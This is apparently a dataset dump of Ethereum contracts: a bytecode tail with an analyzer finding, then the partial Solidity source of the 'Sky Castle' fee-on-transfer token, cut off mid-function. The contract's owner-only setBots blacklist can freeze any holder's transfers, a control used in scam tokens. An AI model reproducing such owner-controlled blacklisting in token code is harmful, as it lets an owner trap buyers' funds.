08c379a0000000000000000000000000000000000000000000000000000000008152600401613a06906159b1565b60405180910390fd5b8181600b9190613a20929190614852565b505050565b600a5481565b6000613abc82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051613c159190615a35565b60405180910390a36001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cb0906159b1565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015613cff573d6000803e3d6000fd5b506001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1890615911565b60405180910390fd5b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050613ef981600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613fd081600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516140dc9061573a565b60405180910390207f7b153ace0d4d4c7d4f2e3436edb57dff13d9ac515fa402c09c39e958578f753960405160405180910390a350565b60095481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600954341015614184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161417b906158f1565b60405180910390fd5b602d600a54106141c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141c0906158b1565b60405180910390fd5b60006141e0600954346145a690919063ffffffff16565b905060006141fb6012600a0a8361457290919063ffffffff16565b905061427081600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614325816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061437c82600a5461455890919063ffffffff16565b600a8190555061442681600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561441c5780601f106143f15761010080835404028352916020019161441c565b820191906000526020600020905b8154815290600101906020018083116143ff57829003601f168201915b50505050506113f8565b505050565b6000600382141561444357620546004201905061453c565b600782141561446957614462620a8c004261455890919063ffffffff16565b905061453c565b601e82141561448f576144886228de804261455890919063ffffffff16565b905061453c565b603c8214156144b5576144ae62506b804261455890919063ffffffff16565b905061453c565b605a8214156144db576144d46277f8804261455890919063ffffffff16565b905061453c565b60b4821415614501576144fa62ee9f804261455890919063ffffffff16565b905061453c565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161453390615971565b60405180910390fd5b919050565b60008282111561454d57fe5b818303905092915050565b600081830190508281101561456957fe5b80905092915050565b60008083141561458557600090506145a0565b81830290508183828161459457fe5b041461459c57fe5b8090505b92915050565b60008183816145b157fe5b04905092915050565b6000806145d28360015461455890919063ffffffff16565b60018190555060066040518060400160405280858152602001428152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550506001805491509150915091565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156146ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016146a390615891565b60405180910390fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160016101000a81548160ff0219169083151502179055506001905092915050565b604051806101000160405280600081526020016060815260200160608152602001606081526020016060815260200160008152602001600081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061479857805160ff19168380011785556147c6565b828001600101855582156147c6579182015b828111156147c55782518255916020019190600101906147aa565b5b5090506147d391906148d2565b5090565b60405180610180016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600015158152602001600015158152602001600081526020016000815260200160608152602001600081526020016000815260200160608152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061489357803560ff19168380011785556148c1565b828001600101855582156148c1579182015b828111156148c05782358255916020019190600101906148a5565b5b5090506148ce91906148d2565b5090565b6148f491905b808211156148f05760008160009055506001016148d8565b5090565b90565b60008135905061490681615d19565b92915050565b60008135905061491b81615d30565b92915050565b60008083601f84011261493357600080fd5b8235905067ffffffffffffffff81111561494c57600080fd5b60208301915083606082028301111561496457600080fd5b9250929050565b60008135905061497a81615d47565b92915050565b60008083601f84011261499257600080fd5b8235905067ffffffffffffffff8111156149ab57600080fd5b6020830191508360018202830111156149c357600080fd5b9250929050565b600082601f8301126149db57600080fd5b81356149ee6149e982615c08565b615bdb565b91508082526020830160208301858383011115614a0a57600080fd5b614a15838284615cc6565b50505092915050565b600081359050614a2d81615d5e565b92915050565b600060208284031215614a4557600080fd5b6000614a53848285016148f7565b91505092915050565b60008060408385031215614a6f57600080fd5b6000614a7d858286016148f7565b9250506020614a8e858286016148f7565b9150509250929050565b600080600060608486031215614aad57600080fd5b6000614abb868287016148f7565b9350506020614acc868287016148f7565b9250506040614add86828701614a1e565b9150509250925092565b60008060408385031215614afa57600080fd5b6000614b08858286016148f7565b9250506020614b1985828601614a1e565b9150509250929050565b60008060208385031215614b3657600080fd5b600083013567ffffffffffffffff811115614b5057600080fd5b614b5c85828601614921565b92509250509250929050565b600060208284031215614b7a57600080fd5b6000614b888482850161496b565b91505092915050565b60008060208385031215614ba457600080fd5b600083013567ffffffffffffffff811115614bbe57600080fd5b614bca85828601614980565b92509250509250929050565b600060208284031215614be857600080fd5b600082013567ffffffffffffffff811115614c0257600080fd5b614c0e848285016149ca565b91505092915050565b60008060008060008060c08789031215614c3057600080fd5b600087013567ffffffffffffffff811115614c4a57600080fd5b614c5689828a016149ca565b965050602087013567ffffffffffffffff811115614c7357600080fd5b614c7f89828a016149ca565b955050604087013567ffffffffffffffff811115614c9c57600080fd5b614ca889828a016149ca565b945050606087013567ffffffffffffffff811115614cc557600080fd5b614cd189828a016149ca565b9350506080614ce289828a01614a1e565b92505060a0614cf389828a01614a1e565b9150509295509295509295565b600060208284031215614d1257600080fd5b6000614d2084828501614a1e565b91505092915050565b60008060408385031215614d3c57600080fd5b6000614d4a85828601614a1e565b9250506020614d5b8582860161490c565b9150509250929050565b60008060408385031215614d7857600080fd5b6000614d8685828601614a1e565b925050602083013567ffffffffffffffff811115614da357600080fd5b614daf858286016149ca565b9150509250929050565b614dc281615c6c565b82525050565b614dd181615c6c565b82525050565b614de081615c90565b82525050565b614def81615c90565b82525050565b6000614e018385615c61565b9350614e0e838584615cc6565b82840190509392505050565b6000614e2582615c34565b614e2f8185615c3f565b9350614e3f818560208601615cd5565b614e4881615d08565b840191505092915050565b6000614e5e82615c34565b614e688185615c50565b9350614e78818560208601615cd5565b614e8181615d08565b840191505092915050565b6000614e9782615c34565b614ea18185615c61565b9350614eb1818560208601615cd5565b80840191505092915050565b6000614eca602483615c50565b91507f726577617264206973206e6f74206d61747572656420666f722077697468647260008301527f6177616c000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614f30601083615c50565b91507f696e7375666669656e742066756e6473000000000000000000000000000000006000830152602082019050919050565b6000614f70601f83615c50565b91507f7061636b6167652073796d626f6c2073686f756c6420626520756e69717565006000830152602082019050919050565b6000614fb0601683615c61565b91507f4e657720636f6e74726f6c6c65722061646472657373000000000000000000006000830152601682019050919050565b6000614ff0601283615c50565b91507f63616e6e6f7420756e7374616b652079657400000000000000000000000000006000830152602082019050919050565b6000615030602d83615c50565b91507f596f752063616e206f6e6c79207374616b65206f6e206120616374697665207260008301527f6577617264207061636b616765000000000000000000000000000000000000006020830152604082019050919050565b6000615096601883615c61565b91507f4e65772041646d696e73747261746f72206164647265737300000000000000006000830152601882019050919050565b60006150d6602683615c50565b91507f546865207061636b6167652073796d626f6c2073686f756c642062652073706560008301527f63696669656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061513c601d83615c50565b91507f74686520737461636b65722061646472657373206973206e65656465640000006000830152602082019050919050565b600061517c600f83615c50565b91507f70726573616c6520636c6f7365642e00000000000000000000000000000000006000830152602082019050919050565b60006151bc601e83615c50565b91507f7374616b696e672073686f756c64207374696c6c2062652061637469766500006000830152602082019050919050565b60006151fc601283615c50565b91507f73656e742065746820746f6f20736d616c6c00000000000000000000000000006000830152602082019050919050565b600061523c602083615c50565b91507f6e65772061646d6973747261746f722061646472657373206d69736d617463686000830152602082019050919050565b600061527c602383615c61565b91507f636f6e6669726d696e67206e65772041646d696e73747261746f72206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152602382019050919050565b60006152e2602183615c61565b91507f636f6e6669726d696e67206e657720636f6e74726f6c6c65722061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152602182019050919050565b6000615348601f83615c50565b91507f6e657720636f6e74726f6c6c65722061646472657373206d69736d61746368006000830152602082019050919050565b6000615388602783615c50565b91507f726571756972657320636f6e74726f6c6c6572206f722061646d696e2070726960008301527f76696c65646765000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006153ee604083615c50565b91507f546865206e756d626572206f6620646179732073686f756c642062652065697460008301527f68657220332c20372c2033302c2036302039302c206f722031383020646179736020830152604082019050919050565b6000615454602083615c50565b91507f596f7520616c7265616479206861766520616e20616374697665207374616b656000830152602082019050919050565b6000615494601983615c50565b91507f72657175697265732061646d696e2070726976696c65646765000000000000006000830152602082019050919050565b60006154d4601b83615c50565b91507f73686f756c64206861766520616e20616374697665207374616b6500000000006000830152602082019050919050565b60006101008301600083015161552060008601826156d7565b50602083015184820360208601526155388282614e1a565b915050604083015184820360408601526155528282614e1a565b9150506060830151848203606086015261556c8282614e1a565b915050608083015184820360808601526155868282614e1a565b91505060a083015161559b60a08601826156d7565b5060c08301516155ae60c08601826156d7565b5060e08301516155c160e0860182614dd7565b508091505092915050565b6000610180830160008301516155e560008601826156d7565b5060208301516155f86020860182614db9565b50604083015161560b60408601826156d7565b50606083015161561e6060860182614dd7565b5060808301516156316080860182614dd7565b5060a083015161564460a08601826156d7565b5060c083015161565760c08601826156d7565b5060e083015184820360e086015261566f8282614e1a565b9150506101008301516156866101008601826156d7565b5061012083015161569b6101208601826156d7565b506101408301518482036101408601526156b58282614e1a565b9150506101608301516156cc6101608601826156d7565b508091505092915050565b6156e081615cbc565b82525050565b6156ef81615cbc565b82525050565b6000615702828486614df5565b91508190509392505050565b600061571a8284614e8c565b915081905092915050565b600061573082614fa3565b9150819050919050565b600061574582615089565b9150819050919050565b600061575a8261526f565b9150819050919050565b600061576f826152d5565b9150819050919050565b600060208201905061578e6000830184614dc8565b92915050565b60006020820190506157a96000830184614de6565b92915050565b600060208201905081810360008301526157c98184614e53565b905092915050565b600060208201905081810360008301526157ea81614ebd565b9050919050565b6000602082019050818103600083015261580a81614f23565b9050919050565b6000602082019050818103600083015261582a81614f63565b9050919050565b6000602082019050818103600083015261584a81614fe3565b9050919050565b6000602082019050818103600083015261586a81615023565b9050919050565b6000602082019050818103600083015261588a816150c9565b9050919050565b600060208201905081810360008301526158aa8161512f565b9050919050565b600060208201905081810360008301526158ca8161516f565b9050919050565b600060208201905081810360008301526158ea816151af565b9050919050565b6000602082019050818103600083015261590a816151ef565b9050919050565b6000602082019050818103600083015261592a8161522f565b9050919050565b6000602082019050818103600083015261594a8161533b565b9050919050565b6000602082019050818103600083015261596a8161537b565b9050919050565b6000602082019050818103600083015261598a816153e1565b9050919050565b600060208201905081810360008301526159aa81615447565b9050919050565b600060208201905081810360008301526159ca81615487565b9050919050565b600060208201905081810360008301526159ea816154c7565b9050919050565b60006020820190508181036000830152615a0b8184615507565b905092915050565b60006020820190508181036000830152615a2d81846155cc565b905092915050565b6000602082019050615a4a60008301846156e6565b92915050565b600061018082019050615a66600083018f6156e6565b615a73602083018e614dc8565b615a80604083018d6156e6565b615a8d606083018c614de6565b615a9a608083018b614de6565b615aa760a083018a6156e6565b615ab460c08301896156e6565b81810360e0830152615ac68188614e53565b9050615ad66101008301876156e6565b615ae46101208301866156e6565b818103610140830152615af78185614e53565b9050615b076101608301846156e6565b9d9c50505050505050505050505050565b600061010082019050615b2e600083018b6156e6565b8181036020830152615b40818a614e53565b90508181036040830152615b548189614e53565b90508181036060830152615b688188614e53565b90508181036080830152615b7c8187614e53565b9050615b8b60a08301866156e6565b615b9860c08301856156e6565b615ba560e0830184614de6565b9998505050505050505050565b6000604082019050615bc760008301856156e6565b615bd460208301846156e6565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715615bfe57600080fd5b8060405250919050565b600067ffffffffffffffff821115615c1f57600080fd5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000615c7782615c9c565b9050919050565b6000615c8982615c9c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015615cf3578082015181840152602081019050615cd8565b83811115615d02576000848401525b50505050565b6000601f19601f8301169050919050565b615d2281615c6c565b8114615d2d57600080fd5b50565b615d3981615c7e565b8114615d4457600080fd5b50565b615d5081615c90565b8114615d5b57600080fd5b50565b615d6781615cbc565b8114615d7257600080fd5b5056fea2646970667358221220754c9d3c2c19d072e0614f98d6b1217045d5e252c458a25dd3cb27bac0aa760064736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,152 |
0x342d5befda4b522ee7b22cb7876d90ed478801fd | /**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
// SPDX-License-Identifier: Unlicensed
// Welcome to skycastle :D
// https://twitter.com/skycastletoken
//: https://skycastle.io/ coming soon
//: https://t.me/skycastletoken
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Sky is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Sky Castle";
string public constant _symbol = "SKY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
